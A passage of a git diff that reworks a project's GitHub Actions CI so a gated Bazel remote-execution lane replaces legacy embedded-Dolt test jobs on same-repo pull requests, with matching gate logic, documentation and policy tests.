later pass as PASSED. The policy test greps BUILD files for it; this + # asks Bazel itself, so a macro or a variable cannot hide one. Cheap: + # loading only, with the repository cache the test step needs anyway. + - name: No test target is marked flaky + run: | + flaky="$(bazel query 'attr(flaky, 1, tests(//...))')" + if [ -n "$flaky" ]; then + echo "::error::flaky = True on ${flaky//$'\n'/ }: the gated lanes run each test once" + exit 1 + fi + # --build_event_json_file is a command option, so it goes after `test`. - name: bazel test //... --config=embedded id: test @@ -708,6 +729,24 @@ jobs: if: ${{ always() && steps.test.outcome != 'skipped' }} run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" + # Since D2 step 1 this lane is the tier's only pre-merge run on + # same-repo PRs. The shard scripts discover tests from source, but each + # Bazel binary holds only its target's srcs: a listed test the binary + # lacks matches nothing and passes silently. Fail unless every Bazel + # shard ran exactly the tests its script lists (list-only mode, cheap), + # and unless every shard and conformance partition ran at least one + # top-level test that was not skipped (an injected -test.short or + # BEADS_TEST_SKIP turns the tier into t.Skip calls). + - name: Every listed test ran in its shard + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: >- + python3 tools/bazel/check_shard_coverage.py + --bep "$RUNNER_TEMP/bazel-bep.json" + --suite //cmd/bd:bd_embedded_test .github/scripts/embedded-test-shard.sh 20 + --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 5 + --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test + --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test + - name: Upload test logs if: ${{ failure() && steps.test.outcome != 'skipped' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index 3c293aff9..386fa6575 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -12,6 +12,15 @@ concurrency: env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" + # D2 step 1: "true" retires PR Risk's legacy embedded-Dolt test jobs on + # same-repo, non-Dependabot pull_requests; pr.yml's + # gated Bazel lane is then the tier's only pre-merge run, and pr.yml's + # gate goes red unless that lane ran remotely and passed. Committed, not a + # repo variable, so a re-run can never change it; must equal pr.yml's / + # pr-risk.yml's copy (scripts/pr_risk_bazel_coverage_test.go). Revert: + # commit "false" in both workflows (in-flight PRs pick it up on their next + # push or merge of main). + BAZEL_RETIRES_LEGACY_EMBEDDED: "true" jobs: detect-ci-tier: @@ -55,6 +64,52 @@ jobs: printf '%s\n' "$selection" | sed 's/^/- `/' | sed 's/$/`/' } >> "$GITHUB_STEP_SUMMARY" + # D2 step 1: whether the legacy test-embedded-* jobs below stand down + # because pr.yml's gated Bazel `embedded Dolt tier` lane is this PR's run of + # the tier. True only with BAZEL_RETIRES_LEGACY_EMBEDDED, on a same-repo (not + # fork) pull_request whose actor is not Dependabot. pr.yml runs this same + # job (policy-tested identical) and its gate goes red unless the lane then + # ran remotely and passed, so neither the kill switch (mode skip) nor a + # missing executor secret (mode local) can silently drop the tier. Forks + # and Dependabot (no secrets), merge_group and every other event keep the + # legacy tier. The step reads no secret or variable and runs no repository + # code. + bazel-embedded-coverage: + name: Bazel embedded coverage + runs-on: ubuntu-latest + timeout-minutes: 5 + outputs: + covered: ${{ steps.decide.outputs.covered }} + steps: + # GitHub's == is case-insensitive. FORK is bazel.yml's rbe job's + # expression, verbatim. Nothing mutable is read: not RBE_WEST_WORKERS + # and not the executor secret (either, evaluated per run, would let one + # workflow's re-run disagree with the other's). A same-repo PR whose run + # lacks the secret is covered anyway, so pr.yml's gate goes red (mode + # local) instead of the tier silently moving back. Dependabot runs get + # no Actions secrets by design and keep the legacy tier; github.actor + # (unlike triggering_actor) stays the PR's actor on a re-run. + - name: Decide whether the Bazel lane covers the embedded tier + id: decide + env: + RETIRED: ${{ env.BAZEL_RETIRES_LEGACY_EMBEDDED == 'true' }} + PULL_REQUEST: ${{ github.event_name == 'pull_request' }} + FORK: ${{ github.event.pull_request.head.repo.fork == true }} + DEPENDABOT: ${{ github.actor == 'dependabot[bot]' }} + run: | + for v in RETIRED PULL_REQUEST FORK DEPENDABOT; do + case "${!v}" in + true|false) ;; + *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; + esac + done + covered=false + if [ "$RETIRED" = true ] && [ "$PULL_REQUEST" = true ] && [ "$FORK" = false ] && [ "$DEPENDABOT" = false ]; then + covered=true + fi + echo "covered=$covered" >> "$GITHUB_OUTPUT" + echo "Legacy embedded Dolt tier retired in favour of the Bazel lane: **$covered** (retired: $RETIRED, pull_request: $PULL_REQUEST, fork: $FORK, dependabot: $DEPENDABOT)" | tee -a "$GITHUB_STEP_SUMMARY" + # End-to-end coverage for proxied-server CLI subcommands, sharded across the # CI matrix. Each sub-test drives the bd CLI subprocess against a real dolt # sql-server started via testcontainers by the shared proxied harness @@ -119,6 +174,11 @@ jobs: # Split into: build → storage tests + parallel cmd test shards. # cmd/bd embedded tests use a committed shard manifest; newly-added tests # still auto-distribute via hash fallback until the manifest is updated. + # + # The storage, conformance and cmd test jobs stand down when + # bazel-embedded-coverage says pr.yml's gated Bazel `embedded Dolt tier` + # lane runs them instead; build-embedded keeps running, because its + # artifact also feeds the proxied and server Dolt jobs. build-embedded: name: Build (Embedded Dolt) @@ -202,8 +262,8 @@ jobs: test-embedded-storage: name: Test (Embedded Dolt Storage ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' + needs: [detect-ci-tier, bazel-embedded-coverage, build-embedded] + if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-embedded-coverage.outputs.covered != 'true' runs-on: ubuntu-latest timeout-minutes: 15 strategy: @@ -240,8 +300,8 @@ jobs: test-embedded-conformance: name: Test (Embedded Dolt Conformance - ${{ matrix.partition }}) - needs: [detect-ci-tier, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' + needs: [detect-ci-tier, bazel-embedded-coverage, build-embedded] + if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-embedded-coverage.outputs.covered != 'true' runs-on: ubuntu-latest timeout-minutes: 35 strategy: @@ -391,8 +451,8 @@ jobs: test-embedded-cmd: name: Test (Embedded Dolt Cmd ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' + needs: [detect-ci-tier, bazel-embedded-coverage, build-embedded] + if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-embedded-coverage.outputs.covered != 'true' runs-on: ubuntu-latest strategy: fail-fast: false @@ -457,6 +517,7 @@ jobs: runs-on: ubuntu-latest needs: - detect-ci-tier + - bazel-embedded-coverage - build-embedded - test-embedded-storage - test-embedded-conformance @@ -474,6 +535,7 @@ jobs: CI_GATE_NAME: PR risk gate CI_GATE_REQUIRED: >- DETECT_CI_TIER + BAZEL_EMBEDDED_COVERAGE BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE @@ -483,7 +545,9 @@ jobs: TEST_PROXIED_CMD TEST_NIX FULL_EMBEDDED: ${{ needs.detect-ci-tier.outputs.full_embedded }} + BAZEL_COVERS_EMBEDDED: ${{ needs.bazel-embedded-coverage.outputs.covered }} DETECT_CI_TIER: ${{ needs.detect-ci-tier.result }} + BAZEL_EMBEDDED_COVERAGE: ${{ needs.bazel-embedded-coverage.result }} BUILD_EMBEDDED: ${{ needs.build-embedded.result }} TEST_EMBEDDED_STORAGE: ${{ needs.test-embedded-storage.result }} TEST_EMBEDDED_CONFORMANCE: ${{ needs.test-embedded-conformance.result }} @@ -497,5 +561,11 @@ jobs: if [[ "$FULL_EMBEDDED" != "true" ]]; then skipped_ok="BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD" fi + # The legacy embedded test jobs stand down only where pr.yml's gated + # Bazel lane runs the tier (bazel-embedded-coverage); any other skip + # of them, or a failed or missing decision, fails the gate. + if [[ "$BAZEL_COVERS_EMBEDDED" == "true" ]]; then + skipped_ok="$skipped_ok TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_EMBEDDED_CMD" + fi export CI_GATE_SKIPPED_OK="$skipped_ok" bash .github/scripts/ci-gate.sh diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 78641a42c..a65aca9f9 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -15,6 +15,15 @@ concurrency: env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" + # D2 step 1: "true" retires PR Risk's legacy embedded-Dolt test jobs on + # same-repo, non-Dependabot pull_requests; pr.yml's + # gated Bazel lane is then the tier's only pre-merge run, and pr.yml's + # gate goes red unless that lane ran remotely and passed. Committed, not a + # repo variable, so a re-run can never change it; must equal pr.yml's / + # pr-risk.yml's copy (scripts/pr_risk_bazel_coverage_test.go). Revert: + # commit "false" in both workflows (in-flight PRs pick it up on their next + # push or merge of main). + BAZEL_RETIRES_LEGACY_EMBEDDED: "true" jobs: @@ -1769,7 +1778,11 @@ jobs: # The Bazel lane (bazel.yml), gated alongside the legacy jobs it mirrors # (PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and # contract corpus, and pr-risk.yml's embedded-Dolt, proxied-server and - # server-Dolt storage tiers), all of which stay required. bazel.yml has no pull_request/merge_group trigger of its own: + # server-Dolt storage tiers), all of which stay required, except that + # pr-risk.yml's embedded-Dolt test jobs stand down on same-repo PRs with + # a non-Dependabot actor while BAZEL_RETIRES_LEGACY_EMBEDDED is "true" (its + # bazel-embedded-coverage job; D2 step 1), and ci-gate then requires this + # call's embedded lane to have run remotely and passed. bazel.yml has no pull_request/merge_group trigger of its own: # this call is its only PR run. It gets the four RBE secrets and nothing # else; its rbe job decides remote, local (forks, Dependabot: no # remote-only lanes) or skip, and exports that for ci-gate. Its @@ -1792,6 +1805,46 @@ jobs: build-artifact-name: bazel-ci-build-artifacts integration: "on" + # D2 step 1: pr-risk.yml's bazel-embedded-coverage job, verbatim (policy- + # tested identical). Where it says covered, PR Risk skips its legacy + # embedded test jobs, so ci-gate requires the Bazel embedded lane to have + # run remotely and passed in this run. + bazel-embedded-coverage: + name: Bazel embedded coverage + runs-on: ubuntu-latest + timeout-minutes: 5 + outputs: + covered: ${{ steps.decide.outputs.covered }} + steps: + # GitHub's == is case-insensitive. FORK is bazel.yml's rbe job's + # expression, verbatim. Nothing mutable is read: not RBE_WEST_WORKERS + # and not the executor secret (either, evaluated per run, would let one + # workflow's re-run disagree with the other's). A same-repo PR whose run + # lacks the secret is covered anyway, so pr.yml's gate goes red (mode + # local) instead of the tier silently moving back. Dependabot runs get + # no Actions secrets by design and keep the legacy tier; github.actor + # (unlike triggering_actor) stays the PR's actor on a re-run. + - name: Decide whether the Bazel lane covers the embedded tier + id: decide + env: + RETIRED: ${{ env.BAZEL_RETIRES_LEGACY_EMBEDDED == 'true' }} + PULL_REQUEST: ${{ github.event_name == 'pull_request' }} + FORK: ${{ github.event.pull_request.head.repo.fork == true }} + DEPENDABOT: ${{ github.actor == 'dependabot[bot]' }} + run: | + for v in RETIRED PULL_REQUEST FORK DEPENDABOT; do + case "${!v}" in + true|false) ;; + *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; + esac + done + covered=false + if [ "$RETIRED" = true ] && [ "$PULL_REQUEST" = true ] && [ "$FORK" = false ] && [ "$DEPENDABOT" = false ]; then + covered=true + fi + echo "covered=$covered" >> "$GITHUB_OUTPUT" + echo "Legacy embedded Dolt tier retired in favour of the Bazel lane: **$covered** (retired: $RETIRED, pull_request: $PULL_REQUEST, fork: $FORK, dependabot: $DEPENDABOT)" | tee -a "$GITHUB_STEP_SUMMARY" + ci-gate: name: CI Gate / Required runs-on: ubuntu-latest @@ -1820,6 +1873,7 @@ jobs: - lint - windows-make-shell - bazel + - bazel-embedded-coverage if: ${{ always() }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1859,6 +1913,8 @@ jobs: BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE + BAZEL_EMBEDDED_COVERAGE + BAZEL_EMBEDDED_RETIRED BUILD_ARTIFACTS: ${{ needs.build-artifacts.result }} CHECK_BUILD_TAGS: ${{ needs.check-build-tags.result }} CHECK_CMD_BD_PUREGEO_TESTS: ${{ needs.check-cmd-bd-puregeo-tests.result }} @@ -1898,6 +1954,10 @@ jobs: BAZEL_CALL: ${{ needs.bazel.result }} BAZEL_RBE_MODE: ${{ needs.bazel.outputs.rbe-mode }} BAZEL_RBE_ENABLED: ${{ needs.bazel.outputs.rbe-enabled }} + # D2 step 1: whether PR Risk retired its legacy embedded tier for + # this PR (BAZEL_EMBEDDED_RETIRED below). + BAZEL_EMBEDDED_COVERAGE: ${{ needs.bazel-embedded-coverage.result }} + BAZEL_COVERS_EMBEDDED: ${{ needs.bazel-embedded-coverage.outputs.covered }} run: | skipped_ok="" if [[ "$GITHUB_EVENT_NAME" == "merge_group" ]]; then @@ -1910,5 +1970,15 @@ jobs: skipped_ok="$skipped_ok $(bash .github/scripts/bazel-gate.sh skips)" BAZEL="$(bash .github/scripts/bazel-gate.sh aggregate)" export BAZEL + # Where PR Risk's legacy embedded tier is retired, this run's Bazel + # embedded lane is the tier's only pre-merge run: it must have run + # remotely and passed. Mode skip (the farm switch off), or any + # other result, is red whatever bazel-gate.sh allows. + BAZEL_EMBEDDED_RETIRED=success + if [[ "$BAZEL_COVERS_EMBEDDED" == "true" ]] && { [[ "$BAZEL_RBE_MODE" != "remote" ]] || [[ "$BAZEL_EMBEDDED" != "success" ]]; }; then + BAZEL_EMBEDDED_RETIRED="not-run-remotely" + echo "::error::PR Risk's legacy embedded Dolt tier is retired (BAZEL_RETIRES_LEGACY_EMBEDDED) and the Bazel embedded lane did not run remotely and pass (mode '${BAZEL_RBE_MODE:-none}', result '${BAZEL_EMBEDDED:-none}'). If remote execution is off on purpose, commit BAZEL_RETIRES_LEGACY_EMBEDDED: \"false\" in pr.yml and pr-risk.yml and push this PR again." + fi + export BAZEL_EMBEDDED_RETIRED export CI_GATE_SKIPPED_OK="$skipped_ok" bash .github/scripts/ci-gate.sh diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index c596e485a..94905d887 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -49,7 +49,9 @@ Current PR-related workflow names: call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`. The legacy jobs these mirror stay required in - `pr.yml` and `pr-risk.yml`. + `pr.yml` and `pr-risk.yml`, except where `BAZEL_EMBEDDED` runs in their + place (see + [Legacy Embedded Tier Retirement](#legacy-embedded-tier-retirement-d2-step-1)). `.github/scripts/bazel-gate.sh` reads the exported mode, never the variable or the fork flag: mode `skip` allows every Bazel id to skip, mode `local` allows only the remote-only `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, @@ -77,10 +79,16 @@ Current PR-related workflow names: red, and autofix only patches packages the PR itself changed), the RBE farm is down, or the beads CI RBE client certificate expires (about 2027-09-27; a partial secret set also fails every same-repo run), fix - `main` (`make bazel-sync`) or renew the secrets, or unset the - `RBE_WEST_WORKERS` repo variable: same-repo runs then take mode `skip`, - which the gate accepts (fork PRs still run locally, so drift on `main` - still reaches them). + `main` (`make bazel-sync`) or renew the secrets. To turn remote execution + off instead, first commit `BAZEL_RETIRES_LEGACY_EMBEDDED: "false"` in both + `pr.yml` and `pr-risk.yml` (see + [Legacy Embedded Tier Retirement](#legacy-embedded-tier-retirement-d2-step-1)), + then unset the `RBE_WEST_WORKERS` repo variable: same-repo runs then take + mode `skip`, which the gate accepts (fork PRs still run locally, so drift + on `main` still reaches them). Unsetting the variable while the flag is + still `"true"` turns `CI Gate / Required` red on every same-repo PR + (`BAZEL_EMBEDDED_RETIRED`), because PR Risk no longer runs the legacy + embedded tier for them. - `.github/workflows/bazel-farm.yml`: `Bazel Farm (trusted forks)` Runs on `pull_request_target` for fork PRs to `main` whose author and triggering user are on `.github/bazel-farm-allowlist.txt`, and calls @@ -89,8 +97,9 @@ Current PR-related workflow names: [Trusted-Author Fork PRs](#trusted-author-fork-prs-bazel-farm). - `.github/workflows/pr-risk.yml`: `PR Risk` Runs on `pull_request` and `merge_group`. Contains embedded Dolt risk - detection, embedded build/test shards, the Nix flake smoke check, and the - risk aggregate gate `PR Risk / PR Risk Gate / Required`. + detection, the `bazel-embedded-coverage` decision, embedded build/test + shards, the proxied and server Dolt shards, the Nix flake smoke check, and + the risk aggregate gate `PR Risk / PR Risk Gate / Required`. - `.github/workflows/main.yml`: `Main` Runs on pushes to `main`. Contains the main branch health checks, package gates, platform smoke/short coverage, embedded Dolt coverage, and promoted @@ -121,8 +130,12 @@ the `bazel` call) and `PR Risk Gate / Required` (`pr-risk.yml`). PR Risk's gate job was renamed from `CI Gate / Required` to `PR Risk Gate / Required` (#6939), so the two required contexts are distinct; before that both workflows reported the same check name. Organization admins and one team -may bypass it. There is no merge queue, so the checks run on -`pull_request`. +may bypass it. There is no merge queue (no `merge_queue` rule, and no +`merge_group` run has ever happened), so the checks run on `pull_request` +only, and the ruleset does not require branches to be up to date +(strict off). The ruleset applies to the default branch only: PRs into +`release/**` run both workflows (and the Bazel lane), but neither gate is +enforced there. ## Trusted-Author Fork PRs (Bazel Farm) @@ -420,7 +433,8 @@ would only be needed if maintainers still want exactly one required check. - Baseline aggregate candidate: `PR / CI Gate / Required` - Risk aggregate candidate: `PR Risk / PR Risk Gate / Required` - Source: GitHub Actions -- Required on: pull requests and merge queue groups targeting `main` +- Required on: pull requests (and merge queue groups, if a queue is ever + added) targeting `main`; not on `release/**` Do not require these existing check names directly: @@ -433,8 +447,10 @@ Do not require these existing check names directly: - `Test (ubuntu-latest)` - `Test (macos-latest)` - `Test (storage domain + uow)` +- `Bazel embedded coverage` - `Build (Embedded Dolt)` - `Test (Embedded Dolt Storage 1/5)` through `Test (Embedded Dolt Storage 5/5)` +- `Test (Embedded Dolt Conformance - core)` and `- audit` - `Test (Embedded Dolt Cmd 1/20)` through `Test (Embedded Dolt Cmd 20/20)` - `Test (Windows - smoke)` - `Check formatting` @@ -554,7 +570,8 @@ intentionally not kept in lockstep with later leaf additions and renames; use `.github/workflows/pr-risk.yml` has a companion aggregate for `detect-ci-tier`, -`build-embedded`, `test-embedded-storage`, `test-embedded-cmd`, and `test-nix`. +`bazel-embedded-coverage`, `build-embedded`, the embedded, proxied and server +Dolt test jobs, and `test-nix`. `.github/scripts/ci-gate.sh` is a small shell evaluator. It fails on any `failure` or `cancelled` result. It accepts `skipped` only for jobs that are @@ -562,8 +579,15 @@ intentionally absent for that event or risk tier: - `CHECK_NO_BEADS_CHANGES=skipped` is acceptable on `merge_group` because the job is PR-only. -- In the risk aggregate, `BUILD_EMBEDDED`, `TEST_EMBEDDED_STORAGE`, and - `TEST_EMBEDDED_CMD` may be `skipped` only when `FULL_EMBEDDED != true`. +- In the risk aggregate, `BUILD_EMBEDDED` and the embedded, proxied and server + Dolt test ids may be `skipped` when `FULL_EMBEDDED != true`. +- In the risk aggregate, `TEST_EMBEDDED_STORAGE`, `TEST_EMBEDDED_CONFORMANCE` + and `TEST_EMBEDDED_CMD` may also be `skipped` when + `bazel-embedded-coverage` reported `covered=true`. `BAZEL_EMBEDDED_COVERAGE` + (that job's result) must be `success`. +- In the baseline aggregate, `BAZEL_EMBEDDED_COVERAGE` must be `success` and + `BAZEL_EMBEDDED_RETIRED` is red when `covered=true` but the Bazel embedded + lane did not run remotely and pass. - All baseline jobs must be `success`. This keeps branch protection pointed at stable aggregate jobs while preserving @@ -614,13 +638,144 @@ listed paths can be blocked waiting for a check that GitHub never creates. The current embedded Dolt topology already fits the required-check model: - `detect-ci-tier` always runs. -- `build-embedded`, `test-embedded-storage`, and `test-embedded-cmd` use - job-level `if`. +- `build-embedded`, `test-embedded-storage`, `test-embedded-conformance` and + `test-embedded-cmd` use job-level `if`; the three test jobs also stand down + where the Bazel lane covers them (next section). - `.github/scripts/ci-embedded-tier.sh` runs full embedded coverage for `push`, `merge_group`, unavailable PR diff bounds, and risky paths. - Docs-only PRs can skip the embedded matrix without leaving the required gate pending, because the aggregate job still runs. +### Legacy Embedded Tier Retirement (D2 Step 1) + +Since D2 step 1, `pr-risk.yml`'s legacy embedded test jobs +(`test-embedded-storage` x5, `test-embedded-conformance` x2, +`test-embedded-cmd` x20: 27 jobs) do not run on same-repo PRs. There, +`pr.yml`'s gated Bazel lane `Bazel / embedded Dolt tier` (`bazel.yml`'s +`bazel-embedded`, `--config=embedded`, the same tests and shard manifests) +is the tier's only pre-merge run, and `CI Gate / Required` requires it to +have run remotely and passed. + +- Switch: the committed workflow env `BAZEL_RETIRES_LEGACY_EMBEDDED`, set to + the same literal (`"true"` or `"false"`) in `pr.yml` and `pr-risk.yml` + (policy-tested). It is deliberately not the `RBE_WEST_WORKERS` repo + variable. A variable is read again by every run and re-run, and the two + workflows are separate runs, so one could see it on and the other off; + see "Why a committed flag" below. +- Who: `pull_request` runs from same-repo branches (not forks) whose + `github.actor` is not `dependabot[bot]`, while the flag is `"true"`. The + executor secret is deliberately not part of the decision: a same-repo PR + whose run lacks it (secret deleted or emptied) is still covered, takes + Bazel mode `local` (no embedded lane) and so turns `CI Gate / Required` + red, instead of quietly moving back to a legacy tier that one of its + runs may already have skipped. +- Everyone else keeps the legacy tier unchanged: + - fork PRs; + - Dependabot PRs (no Actions secrets; `github.actor`, unlike + `github.triggering_actor`, stays `dependabot[bot]` when someone else + re-runs them); + - every `merge_group` run (there is no merge queue today, so this is not + a pre-merge net); + - every PR while the flag is `"false"`. + + `main.yml`'s embedded jobs on push to `main` are untouched. +- How: + - `pr-risk.yml` and `pr.yml` each run the identical + `bazel-embedded-coverage` job (policy-tested). The job does no checkout + and runs no repository code. It reads the flag, the event, the fork flag + and the actor (no secret, no variable), and outputs `covered`. + - The three legacy test jobs add + `needs.bazel-embedded-coverage.outputs.covered != 'true'` to their `if`. + - PR Risk's gate accepts their skip only when `covered == true`. + - `pr.yml`'s gate requires `BAZEL_EMBEDDED_COVERAGE` (the job's result) + and `BAZEL_EMBEDDED_RETIRED`. The latter is red when `covered == true` + and the Bazel call's mode is not `remote` or `BAZEL_EMBEDDED` is not + `success`. In particular, mode `skip` (the farm switch off) and mode + `local` (the executor secret missing) are red there, although + `bazel-gate.sh` alone would accept them. + - A failed, cancelled or missing decision is red in both gates. +- `build-embedded` keeps running: its `embedded-test-binaries` artifact also + feeds `test-proxied-cmd`, `test-server-storage` and + `test-server-storage-full`, which are not retired in this step. +- Why a committed flag: + - `covered` depends on nothing a re-run can change (flag, event, fork, + actor). So any run or re-run of PR Risk that skips the legacy tier is + matched by `pr.yml` runs that compute the same `covered`. + - Each such `pr.yml` run is green only if the Bazel lane ran remotely and + passed in that run. + - Flipping `RBE_WEST_WORKERS` either way, plus "Re-run all jobs" of + either workflow, can no longer leave both required checks green with + neither tier run. + - `scripts/pr_risk_bazel_coverage_test.go` checks this by running both + workflows' actual decision steps, `bazel.yml`'s `rbe` step and `pr.yml`'s + actual gate step over every event, variable value, secret, fork, actor + and flag combination, with the variable and the secret each differing + between the two runs. It also requires the two workflows to share their + `pull_request` triggers. +- Cost of failing closed: while the flag is `"true"`, a same-repo PR without + the executor secret (secret deleted or emptied, or a non-Dependabot bot + whose runs get no secrets) is red until the secret is restored or the + flag is committed `"false"`. +- Revert: + 1. Commit `BAZEL_RETIRES_LEGACY_EMBEDDED: "false"` in both workflows on + `main`. + 2. Every PR needs a new push or a merge of `main` to pick it up: a + pull_request run uses the workflow files of the PR's merge commit, and + a re-run reuses that commit. + 3. Only then unset `RBE_WEST_WORKERS`, if remote execution should be off. + + Reverting the D2 commits removes the decision jobs entirely. +- Admin changes: flipping `RBE_WEST_WORKERS` or deleting the executor + secret, followed by "Re-run all jobs" of either workflow, can no longer + leave both required checks green with neither tier run. +- Re-runs: "Re-run all jobs" (or "Re-run failed jobs") of one workflow + re-evaluates variables and secrets for that workflow's run only. The + other workflow's last result stays on the head SHA. With the committed + flag this cannot drop the tier silently: `covered` depends on the flag + (fixed by the merge commit), the event, the fork flag and the actor, and + on no variable or secret. Re-running "failed jobs" keeps the earlier + jobs' outputs, including `covered` and the `rbe` mode. +- Enforcement scope: the beads-only ruleset requires both gates on the + default branch (`main`) only. On PRs into `release/**` both workflows run + and report, but merging does not wait for them, before or after this + change. There is no merge queue and `strict` is off, so no + pre-merge run catches a gap; only `main.yml`'s embedded jobs and + `bazel.yml`'s push run do, after merge. +- Lane hardening that the retirement relies on (policy-tested in + `scripts/ci_workflow_test.go` and `scripts/pr_risk_bazel_coverage_test.go`): + - `test:embedded --nocache_test_results`: every run executes every test, + like the legacy `-test.count=1` jobs, so a stale or poisoned entry in + the shared farm action cache cannot stand in for a run. + - No retries: no `--flaky_test_attempts` or + `--runs_per_test_detects_flakes` anywhere, and no `flaky =` other than + a literal `False`. The lane also runs + `bazel query 'attr(flaky, 1, tests(//...))'` before the tier and fails + on any result, so a macro or variable cannot hide a flaky target. + - Pinned selection: + - The lane's `bazel test //... --config=embedded` step and the + `--config=embedded` lines are pinned exactly. + - No other rc line of a config the lane uses (unconfigured, + `remote-exec`, or anything they reference) may filter, narrow, + re-run or re-route tests. + - `.bazelrc` imports only the two gitignored try-imports, and no other + rc file is committed. + - `tools/bazel/*.sh` and the whole setup-bazel action may not inject + test selection or skips. + - The four embedded-tagged targets' `args` and `env` are pinned. + - `tools/bazel/check_shard_coverage.py` runs after the tier. It requires: + - every Bazel shard to have run exactly the tests its shard script lists + (list-only mode, minus `TestMain`, which `grep '^func Test'` lists + but which is never a test); + - no shard, and no conformance partition, to be all skipped. + + A test the scripts discover from source but the Bazel binary lacks + fails the lane instead of passing silently, and so does an injected + `-test.short` or `BEADS_TEST_SKIP` that skips a whole shard. +- Not changed: `conformance.yml`'s Tier 1 (`scripts/conformance.sh`) runs the + embedded-Dolt `TestConformance` again (non-race, unsharded), duplicating + `test-embedded-conformance` and the Bazel lane. It is not part of either + required gate; retiring it is a separate decision. + ### Server Dolt Storage Matrix `test-server-storage-full` mirrors `test-embedded-storage`'s sharding, one @@ -691,6 +846,10 @@ Policy for `merge_group`: - `PR` and `PR Risk` must include `merge_group`. - `detect-ci-tier` should keep treating `merge_group` as full embedded coverage. +- There is no merge queue today (see Current State), so these runs are not a + pre-merge safety net for anything PRs skip; in particular they are not one + for the retired legacy embedded tier (D2 step 1). `merge_group` keeps that + tier only so a queue added later starts with full coverage. - Any risk detector added to the required topology should default to run on `merge_group`, because the merge group commit may combine individually safe PRs into a risky integration state. diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 5c02a16da..0b88fc188 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -32,6 +32,7 @@ go_test( "host_tools_test.go", "install_dolt_test.go", "pr_preflight_test.go", + "pr_risk_bazel_coverage_test.go", "pull_dolt_image_test.go", "release_script_test.go", "required_suite_test.go", diff --git a/scripts/ci_capability_selector_test.go b/scripts/ci_capability_selector_test.go index d794ecf9a..707487bf1 100644 --- a/scripts/ci_capability_selector_test.go +++ b/scripts/ci_capability_selector_test.go @@ -96,7 +96,7 @@ func TestCICapabilitySelectorWorkflowPreservesExistingAuthority(t *testing.T) { if err := yaml.Unmarshal(data, &workflow); err != nil { t.Fatalf("parse workflow: %v", err) } - wantJobs := map[string]bool{"detect-ci-tier": true, "build-embedded": true, "test-embedded-storage": true, "test-embedded-conformance": true, "test-server-storage": true, "test-server-storage-full": true, "test-embedded-cmd": true, "test-proxied-cmd": true, "test-nix": true, "ci-gate": true} + wantJobs := map[string]bool{"detect-ci-tier": true, "bazel-embedded-coverage": true, "build-embedded": true, "test-embedded-storage": true, "test-embedded-conformance": true, "test-server-storage": true, "test-server-storage-full": true, "test-embedded-cmd": true, "test-proxied-cmd": true, "test-nix": true, "ci-gate": true} if len(workflow.Jobs) != len(wantJobs) { t.Errorf("job count = %d, want %d", len(workflow.Jobs), len(wantJobs)) } @@ -118,18 +118,25 @@ func TestCICapabilitySelectorWorkflowPreservesExistingAuthority(t *testing.T) { if tier.ID != "tier" || shadow.ID != "shadow-selector" || !shadow.ContinueOnError || detector.stepIndex(t, shadow.Name) != detector.stepIndex(t, tier.Name)+1 { t.Errorf("shadow step is not immediately after tier: tier=%+v shadow=%+v", tier, shadow) } - for _, name := range []string{"build-embedded", "test-embedded-storage", "test-embedded-conformance", "test-server-storage", "test-server-storage-full", "test-embedded-cmd", "test-proxied-cmd"} { + for _, name := range []string{"build-embedded", "test-server-storage", "test-server-storage-full", "test-proxied-cmd"} { if got := workflow.Jobs[name].If; got != "needs.detect-ci-tier.outputs.full_embedded == 'true'" { t.Errorf("%s if = %q", name, got) } } + // The legacy embedded test jobs also stand down where the gated Bazel + // lane covers them (TestPRRiskLegacyEmbeddedTierDefersToBazelLane). + for _, name := range prRiskBazelCoveredJobs { + if got := workflow.Jobs[name].If; got != prRiskBazelCoveredIf { + t.Errorf("%s if = %q, want %q", 